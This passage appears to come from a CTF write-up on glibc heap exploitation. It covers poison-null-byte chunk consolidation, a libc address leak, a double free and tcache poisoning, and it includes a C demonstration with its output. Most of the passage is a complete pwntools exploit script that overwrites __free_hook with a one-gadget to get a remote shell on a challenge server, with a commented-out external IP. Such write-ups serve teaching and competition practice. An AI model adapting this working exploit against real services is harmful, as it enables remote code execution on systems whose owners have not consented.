 chunk because it is not needed. After c is freed, we have one unsorted bin that contains the area that is a summary of 

a

b

 and 

c

 areas. After we allocated chunk 

A

, the unsorted bin split to 2 parts. One part was returned by malloc, the other part remained at the unsorted bin and the chunk begins at the same place when 

b

.

In our examples, the first allocated chunk has a different size than others which is 

0x108

. The example would work with 

0xf8

 but in this challenge, 

strcpy

 is used so it breaks on NULL byte so we couldn’t overwrite 

prev_size

 by 

0x200

 value. With size equal to 

0x108

 we can overwrite 

prev_size

 to 

0x210

.

We can accomplish the same attack on a newer libc, by using the same algorithm. But there is one difference — before freeing chunks we need to make tcache bin full. So the attack below does the same leak as the attack previously but also it goes further. After the leak, it causes double free because 

B

and 

b

 point to the same chunk of size 

0x1f8

. Later, this attack is performed.


<span class="cp">#include&lt;stdlib.h&gt;
#include&lt;stdio.h&gt;
</span>
<span class="kt">char</span><span class="o">*</span> <span class="n">tcache1</span><span class="p">[</span><span class="mi">7</span><span class="p">];</span>
<span class="kt">char</span><span class="o">*</span> <span class="n">tcache2</span><span class="p">[</span><span class="mi">7</span><span class="p">];</span>
 
<span class="kt">long</span> <span class="n">var</span><span class="p">;</span>
 
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span>
<span class="p">{</span>
    <span class="kt">char</span> <span class="o">*</span><span class="n">a</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mh">0x108</span><span class="p">);</span>
    <span class="kt">char</span> <span class="o">*</span><span class="n">b</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mh">0xf8</span><span class="p">);</span>
    <span class="kt">char</span> <span class="o">*</span><span class="n">c</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mh">0xf8</span><span class="p">);</span>
   

    <span class="n">printf</span><span class="p">(</span><span class="s">"a: %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">a</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"b: %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">b</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"c: %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">c</span><span class="p">);</span>

    <span class="c1">// make 0xf8 tcache full
</span>    <span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="n">i</span><span class="o">&lt;</span><span class="mi">7</span><span class="p">;</span><span class="n">i</span><span class="o">++</span><span class="p">)</span>
        <span class="n">tcache1</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">=</span><span class="n">malloc</span><span class="p">(</span><span class="mh">0xF8</span><span class="p">);</span>
    <span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="n">i</span><span class="o">&lt;</span><span class="mi">7</span><span class="p">;</span><span class="n">i</span><span class="o">++</span><span class="p">)</span>
        <span class="n">free</span><span class="p">(</span><span class="n">tcache1</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span>

    <span class="c1">// make 0x108 tcache full
</span>    <span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="n">i</span><span class="o">&lt;</span><span class="mi">7</span><span class="p">;</span><span class="n">i</span><span class="o">++</span><span class="p">)</span>
        <span class="n">tcache2</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">=</span><span class="n">malloc</span><span class="p">(</span><span class="mh">0x108</span><span class="p">);</span>
    <span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="n">i</span><span class="o">&lt;</span><span class="mi">7</span><span class="p">;</span><span class="n">i</span><span class="o">++</span><span class="p">)</span>
        <span class="n">free</span><span class="p">(</span><span class="n">tcache2</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span>

    <span class="n">free</span><span class="p">(</span><span class="n">a</span><span class="p">);</span> <span class="c1">// a goes to an unsorted bin
</span>
    <span class="n">tcache1</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">=</span><span class="n">malloc</span><span class="p">(</span><span class="mh">0xF8</span><span class="p">);</span><span class="c1">//creates one free place in 0xf8 tcache
</span>    <span class="c1">// b will go to tcache after free().
</span>
    <span class="c1">// in the CTF task we can only write data to chunks
</span>    <span class="c1">// right after mallocing this chunk
</span>    <span class="n">free</span><span class="p">(</span><span class="n">b</span><span class="p">);</span>
    <span class="n">b</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mh">0xf8</span><span class="p">);</span>
    <span class="c1">// buffer overflow b by 1 NULL byte
</span>    <span class="n">b</span><span class="p">[</span><span class="mh">0xf8</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'\x00'</span><span class="p">;</span> <span class="c1">//clear prev in use of c
</span>    <span class="o">*</span><span class="p">(</span><span class="kt">long</span><span class="o">*</span><span class="p">)(</span><span class="n">b</span><span class="o">+</span><span class="mh">0xf0</span><span class="p">)</span> <span class="o">=</span> <span class="mh">0x210</span><span class="p">;</span> <span class="c1">//We can set prev_size of c to 0x210 bytes
</span>    <span class="n">printf</span><span class="p">(</span><span class="s">"b: %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">b</span><span class="p">);</span>
   
    <span class="c1">// make 0xf8 tcache full
</span>    <span class="n">free</span><span class="p">(</span><span class="n">tcache1</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span>

    <span class="c1">// c have prev_in_use=0 and prev_size=0x210 so it will consolidate
</span>    <span class="c1">// with a and b and it will be put in unsorted bin
</span>    <span class="n">free</span><span class="p">(</span><span class="n">c</span><span class="p">);</span>
   
    <span class="c1">// make 0x108 tcache empty
</span>    <span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="n">i</span><span class="o">&lt;</span><span class="mi">7</span><span class="p">;</span><span class="n">i</span><span class="o">++</span><span class="p">)</span>
        <span class="n">tcache2</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">=</span><span class="n">malloc</span><span class="p">(</span><span class="mh">0x108</span><span class="p">);</span>


    <span class="c1">// now we can allocate chunks from the area of a|b|c
</span>    <span class="kt">char</span> <span class="o">*</span><span class="n">A</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mh">0x108</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"A: %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">A</span><span class="p">);</span>

    <span class="c1">// leak libc
</span>    <span class="n">printf</span><span class="p">(</span><span class="s">"b content: %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,((</span><span class="kt">long</span><span class="o">*</span><span class="p">)</span><span class="n">b</span><span class="p">)[</span><span class="mi">0</span><span class="p">]);</span>

    <span class="c1">// make 0x108 tcache full because we can have max 10 chunks allocated
</span>    <span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="n">i</span><span class="o">&lt;</span><span class="mi">7</span><span class="p">;</span><span class="n">i</span><span class="o">++</span><span class="p">)</span>
        <span class="n">free</span><span class="p">(</span><span class="n">tcache2</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span>

    <span class="c1">// Both 0xf8 and 0x108 tcache bins are full
</span>
    <span class="c1">// let's allocate chunk that overlaps b.
</span>    <span class="kt">char</span> <span class="o">*</span><span class="n">B</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mh">0x1F8</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"B: %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">B</span><span class="p">);</span>

    <span class="c1">// now, chunks B and b are allocated and have the same address.
</span>    <span class="c1">// now we can use double free and tcache poisoning attack
</span>
    <span class="c1">// double free
</span>    <span class="n">free</span><span class="p">(</span><span class="n">B</span><span class="p">);</span>
    <span class="n">free</span><span class="p">(</span><span class="n">b</span><span class="p">);</span>
    <span class="c1">// now, 0x1F8 tcache bin contains 2 the same chunks
</span>
    <span class="c1">// allocate one of them and set next pointer to known address
</span>    <span class="n">b</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mh">0x1F8</span><span class="p">);</span>
    <span class="o">*</span><span class="p">(</span><span class="kt">long</span><span class="o">*</span><span class="p">)(</span><span class="n">b</span><span class="p">)</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">var</span><span class="p">;</span>
   
    <span class="n">malloc</span><span class="p">(</span><span class="mh">0x1F8</span><span class="p">);</span>
   
    <span class="c1">// the allocated chunk will have an address of variable var
</span>    <span class="kt">char</span> <span class="o">*</span><span class="n">super_pointer</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mh">0x1F8</span><span class="p">);</span>
   
    <span class="n">printf</span><span class="p">(</span><span class="s">"%p %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">super_pointer</span><span class="p">,</span><span class="o">&amp;</span><span class="n">var</span><span class="p">);</span>
<span class="p">}</span>

output:


a: 0x55c054fa2260
b: 0x55c054fa2370
c: 0x55c054fa2470
b: 0x55c054fa2370
A: 0x55c054fa2260
b content: 0x7f60c1026ca0
B: 0x55c054fa2370
0x55c053972060 0x55c053972060

And the last step is to implement an exploit in python. It does the same thing as previous code, except that malloc returns to us a region at 

&amp;__free_hook

. Then we overwrite 

__free_hook

 to one-gadget RCE. Later it calls 

free

.


<span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>

<span class="n">r</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">"localhost"</span><span class="p">,</span> <span class="mi">1337</span><span class="p">)</span>
<span class="c">#r = remote("54.178.132.125",8763)</span>
<span class="n">pointers</span> <span class="o">=</span> <span class="p">[</span><span class="bp">False</span><span class="p">]</span><span class="o">*</span><span class="mi">10</span>

<span class="k">def</span> <span class="nf">menu</span><span class="p">():</span>
    <span class="k">print</span> <span class="n">r</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"choice: "</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">new_heap</span><span class="p">(</span><span class="n">size</span><span class="p">,</span> <span class="n">data</span><span class="p">):</span>
    <span class="c">#find idx</span>
    <span class="k">global</span> <span class="n">pointers</span>
    <span class="n">idx</span> <span class="o">=</span> <span class="bp">None</span>
    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">10</span><span class="p">):</span>
        <span class="k">if</span> <span class="ow">not</span> <span class="n">pointers</span><span class="p">[</span><span class="n">i</span><span class="p">]:</span>
            <span class="n">pointers</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="bp">True</span>
            <span class="n">idx</span> <span class="o">=</span> <span class="n">i</span>
            <span class="k">break</span>
    <span class="k">assert</span><span class="p">(</span><span class="n">idx</span> <span class="ow">is</span> <span class="ow">not</span> <span class="bp">None</span><span class="p">)</span>
   
    <span class="n">r</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="s">"1"</span><span class="p">)</span>
    <span class="k">print</span> <span class="n">r</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"Size:"</span><span class="p">)</span>
    <span class="n">r</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">size</span><span class="p">))</span>
    <span class="k">print</span> <span class="n">r</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"Data:"</span><span class="p">)</span>
    <span class="n">r</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
    <span class="n">menu</span><span class="p">()</span>
    <span class="k">return</span> <span class="n">idx</span>
   
<span class="k">def</span> <span class="nf">show_heap</span><span class="p">(</span><span class="n">idx</span><span class="p">):</span>
    <span class="n">r</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="s">"2"</span><span class="p">)</span>
    <span class="k">print</span> <span class="n">r</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"Index:"</span><span class="p">)</span>
    <span class="n">r</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">idx</span><span class="p">))</span>
    <span class="n">menu</span><span class="p">()</span>
   
<span class="k">def</span> <span class="nf">show_heap_leak</span><span class="p">(</span><span class="n">idx</span><span class="p">):</span>
    <span class="n">r</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="s">"2"</span><span class="p">)</span>
    <span class="k">print</span> <span class="n">r</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"Index:"</span><span class="p">)</span>
    <span class="n">r</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">idx</span><span class="p">))</span>
    <span class="n">data</span> <span class="o">=</span> <span class="n">r</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"choice: "</span><span class="p">)</span>
    <span class="n">addr</span> <span class="o">=</span> <span class="n">data</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>
    <span class="n">addr</span> <span class="o">=</span> <span class="n">addr</span><span class="o">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span><span class="s">"</span><span class="se">\x00</span><span class="s">"</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">u64</span><span class="p">(</span><span class="n">addr</span><span class="p">)</span>
   
   
<span class="k">def</span> <span class="nf">delete_heap</span><span class="p">(</span><span class="n">idx</span><span class="p">):</span>
    <span class="k">global</span> <span class="n">pointers</span>
    <span class="k">assert</span> <span class="p">(</span><span class="n">pointers</span><span class="p">[</span><span class="n">idx</span><span class="p">]</span><span class="o">==</span><span class="bp">True</span><span class="p">)</span>
    <span class="n">pointers</span><span class="p">[</span><span class="n">idx</span><span class="p">]</span><span class="o">=</span><span class="bp">False</span>
   
    <span class="n">r</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="s">"3"</span><span class="p">)</span>
    <span class="k">print</span> <span class="n">r</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"Index:"</span><span class="p">)</span>
    <span class="n">r</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">idx</span><span class="p">))</span>
    <span class="n">menu</span><span class="p">()</span>
    <span class="k">return</span> <span class="bp">None</span>
   
<span class="k">def</span> <span class="nf">delete_heap_and_shell</span><span class="p">(</span><span class="n">idx</span><span class="p">):</span>
    <span class="k">global</span> <span class="n">pointers</span>
    <span class="k">assert</span> <span class="p">(</span><span class="n">pointers</span><span class="p">[</span><span class="n">idx</span><span class="p">]</span><span class="o">==</span><span class="bp">True</span><span class="p">)</span>
    <span class="n">pointers</span><span class="p">[</span><span class="n">idx</span><span class="p">]</span><span class="o">=</span><span class="bp">False</span>
   
    <span class="n">r</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="s">"3"</span><span class="p">)</span>
    <span class="k">print</span> <span class="n">r</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"Index:"</span><span class="p">)</span>
    <span class="n">r</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">idx</span><span class="p">))</span>
    <span class="n">r</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span>

<span class="n">tcache1</span> <span class="o">=</span> <span class="p">[</span><span class="bp">None</span><span class="p">]</span><span class="o">*</span><span class="mi">10</span>
<span class="n">tcache2</span> <span class="o">=</span> <span class="p">[</span><span class="bp">None</span><span class="p">]</span><span class="o">*</span><span class="mi">10</span>
   
<span class="n">menu</span><span class="p">()</span>
<span class="n">a</span> <span class="o">=</span> <span class="n">new_heap</span><span class="p">(</span><span class="mh">0x108</span><span class="p">,</span><span class="s">"a"</span><span class="o">*</span><span class="mi">10</span><span class="p">)</span>
<span class="n">b</span> <span class="o">=</span> <span class="n">new_heap</span><span class="p">(</span><span class="mh">0xf8</span><span class="p">,</span><span class="s">"b"</span><span class="o">*</span><span class="mi">10</span><span class="p">)</span>
<span class="n">c</span> <span class="o">=</span> <span class="n">new_heap</span><span class="p">(</span><span class="mh">0xf8</span><span class="p">,</span><span class="s">"c"</span><span class="o">*</span><span class="mi">10</span><span class="p">)</span>

<span class="c"># make 0xf8 tcache full</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">7</span><span class="p">):</span>
    <span class="n">tcache1</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">new_heap</span><span class="p">(</span><span class="mh">0xF8</span><span class="p">,</span> <span class="s">"sss"</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="n">i</span><span class="p">))</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">7</span><span class="p">):</span>
    <span class="n">tcache1</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">delete_heap</span><span class="p">(</span><span class="n">tcache1</span><span class="p">[</span><span class="n">i</span><span class="p">])</span>

<span class="c"># make 0x108 tcache full </span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">7</span><span class="p">):</span>
    <span class="n">tcache2</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">new_heap</span><span class="p">(</span><span class="mh">0x108</span><span class="p">,</span> <span class="s">"sss"</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="n">i</span><span class="p">))</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">7</span><span class="p">):</span>
    <span class="n">tcache2</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">delete_heap</span><span class="p">(</span><span class="n">tcache2</span><span class="p">[</span><span class="n">i</span><span class="p">])</span>

<span class="n">a</span> <span class="o">=</span> <span class="n">delete_heap</span><span class="p">(</span><span class="n">a</span><span class="p">)</span> <span class="c">#a goes to an unsorted bin</span>

<span class="n">tcache1</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="n">new_heap</span><span class="p">(</span><span class="mh">0xF8</span><span class="p">,</span> <span class="s">"sss0"</span><span class="p">)</span> <span class="c">#create one free place in 0xf8 tcache</span>

<span class="c"># buffer overflow by 1 NULL byte</span>
<span class="n">b</span> <span class="o">=</span> <span class="n">delete_heap</span><span class="p">(</span><span class="n">b</span><span class="p">);</span>
<span class="n">b</span> <span class="o">=</span> <span class="n">new_heap</span><span class="p">(</span><span class="mh">0xf8</span><span class="p">,</span><span class="s">"b"</span><span class="o">*</span><span class="mh">0xf8</span><span class="p">)</span> <span class="c">#clear prev in use of c</span>

<span class="c"># Clear prev size</span>
<span class="c"># This is tricki because data to chunk is copied by strcpy which </span>
<span class="c"># stops copying on NULL byte.</span>
<span class="c"># If we want to clean an region we need to free and allocate several</span>
<span class="c"># chunks that each next size is lower than 1 byte.  </span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mh">0xf8</span><span class="p">,</span> <span class="mh">0xf3</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">):</span>
    <span class="n">b</span> <span class="o">=</span> <span class="n">delete_heap</span><span class="p">(</span><span class="n">b</span><span class="p">);</span>
    <span class="n">b</span> <span class="o">=</span> <span class="n">new_heap</span><span class="p">(</span><span class="n">i</span><span class="o">-</span><span class="mi">1</span><span class="p">,(</span><span class="n">i</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span><span class="o">*</span><span class="s">"b"</span><span class="p">)</span>

<span class="c"># set prev_size of c to 0x210 bytes</span>
<span class="n">b</span> <span class="o">=</span> <span class="n">delete_heap</span><span class="p">(</span><span class="n">b</span><span class="p">);</span>
<span class="n">b</span> <span class="o">=</span> <span class="n">new_heap</span><span class="p">(</span><span class="mh">0xF2</span><span class="p">,</span><span class="s">"b"</span><span class="o">*</span><span class="mh">0xf0</span><span class="o">+</span><span class="s">"</span><span class="se">\x10\x02</span><span class="s">"</span><span class="p">)</span>

<span class="c"># make 0xf8 tcache full</span>
<span class="n">tcache1</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="n">delete_heap</span><span class="p">(</span><span class="n">tcache1</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span>

<span class="c"># c have prev_in_use=0 and prev_size=0x210 so it will consolidate</span>
<span class="c"># with a and b and it will be put in unsorted bin</span>
<span class="n">c</span> <span class="o">=</span> <span class="n">delete_heap</span><span class="p">(</span><span class="n">c</span><span class="p">)</span>

<span class="c"># make 0x108 tcache empty</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">7</span><span class="p">):</span>
    <span class="n">tcache2</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">new_heap</span><span class="p">(</span><span class="mh">0x108</span><span class="p">,</span> <span class="s">"sss"</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="n">i</span><span class="p">))</span>

<span class="c"># now we allocate chunks from area of  a|b|c</span>
<span class="n">A</span> <span class="o">=</span> <span class="n">new_heap</span><span class="p">(</span><span class="mh">0x108</span><span class="p">,</span> <span class="s">"AAA"</span><span class="p">)</span>

<span class="c"># leak libc</span>
<span class="n">addr</span><span class="o">=</span><span class="n">show_heap_leak</span><span class="p">(</span><span class="n">b</span><span class="p">)</span>
<span class="n">libc_base</span> <span class="o">=</span> <span class="n">addr</span> <span class="o">-</span> <span class="mh">0x3ebca0</span>
<span class="n">free_hook</span> <span class="o">=</span> <span class="n">libc_base</span> <span class="o">+</span> <span class="mh">0x3ed8e8</span>
<span class="k">print</span> <span class="s">"libc base = "</span><span class="o">+</span><span class="nb">hex</span><span class="p">(</span><span class="n">libc_base</span><span class="p">)</span>
<span class="k">print</span> <span class="s">"free hook = "</span><span class="o">+</span><span class="nb">hex</span><span class="p">(</span><span class="n">free_hook</span><span class="p">)</span>


<span class="c"># make 0x108 tcache full because we can have max 10 chunks allocated</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">7</span><span class="p">):</span>
    <span class="n">tcache2</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">delete_heap</span><span class="p">(</span><span class="n">tcache2</span><span class="p">[</span><span class="n">i</span><span class="p">])</span>

<span class="c"># Both 0xf8 and 0x108 tcache bins are ful</span>
   
<span class="n">ADDR_TO_WRITE</span> <span class="o">=</span> <span class="n">free_hook</span> 

<span class="c"># let's allocate chunk that overlaps b.</span>
<span class="n">B</span> <span class="o">=</span> <span class="n">new_heap</span><span class="p">(</span><span class="mh">0x1f8</span><span class="p">,</span> <span class="s">"BBB"</span><span class="p">)</span>

<span class="c"># now, chunks B and b are allocated and have the same address. </span>
<span class="c"># We can use double free and tcache poisoning attack</span>

<span class="c"># double free</span>
<span class="n">delete_heap</span><span class="p">(</span><span class="n">B</span><span class="p">)</span>
<span class="n">delete_heap</span><span class="p">(</span><span class="n">b</span><span class="p">)</span>
<span class="c"># now 0x1F8 tcache bin contains 2 the same chunks</span>

<span class="c"># allocate one of them and set next pointer to known address</span>
<span class="n">b</span> <span class="o">=</span> <span class="n">new_heap</span><span class="p">(</span><span class="mh">0x1f8</span><span class="p">,</span> <span class="n">p64</span><span class="p">(</span><span class="n">ADDR_TO_WRITE</span><span class="p">))</span>

<span class="n">new_heap</span><span class="p">(</span><span class="mh">0x1f8</span><span class="p">,</span> <span class="s">"kkkk"</span><span class="p">)</span>

<span class="c"># allocated chunk will have an address of &amp;__free_hook, </span>
<span class="c"># overwrite __free_hook to one-gadget RCE there</span>
<span class="n">super_pointer</span> <span class="o">=</span> <span class="n">new_heap</span><span class="p">(</span><span class="mh">0x1f8</span><span class="p">,</span> <span class="n">p64</span><span class="p">(</span><span class="n">libc_base</span> <span class="o">+</span> <span class="mh">0x04F322</span><span class="p">))</span>

<span class="c"># trigger __free_hook that is overwritten to one-gadget RCE</span>
<span class="n">delete_heap_and_shell</span><span class="p">(</span><span class="n">b</span><span class="p">)</span>

References